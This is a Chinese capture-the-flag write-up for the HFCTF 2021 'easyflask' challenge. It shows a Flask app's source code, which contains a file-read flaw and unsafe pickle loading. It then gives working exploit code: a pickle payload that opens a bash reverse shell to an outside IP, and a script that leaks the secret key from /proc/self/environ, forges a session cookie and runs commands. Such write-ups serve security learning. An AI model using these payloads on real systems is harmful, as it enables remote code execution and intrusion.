[HFCTF 2021 Final]easyflask
源码:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b
u = b64decode(u.get('b'))
u = pickle.loads(u)#pickle反序列化
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
解题步骤
直接一个任意文件读取糊脸。
发现可以读取/etc/passwd,那么直接在/proc/self/environ读取到secret-key。
在源码看到pickle.load,直接开始pickle反序列化。
pickle反序列化exp:
import pickle
from base64 import b64encode
import os
User = type('User', (object,), {
'uname': 'tyskill',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/192.168.1.1/2333 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
这个exp需要在linux下生成结果。然后在用flask-session-manager生成session,修改cookie之后打开/admin路由即可反弹shell。
还有一个一键exp,直接得到flag,需要在linux下运行:
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests
url = "http://667da250-c7cd-413f-a255-785e62258ad4.node4.buuoj.cn:81"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
key = re.findall('key=(.*?)OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
#print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/test1"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
print(exp)
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
req = requests.get(url+"/file?file=/tmp/test1",headers=headers)
print(req.text)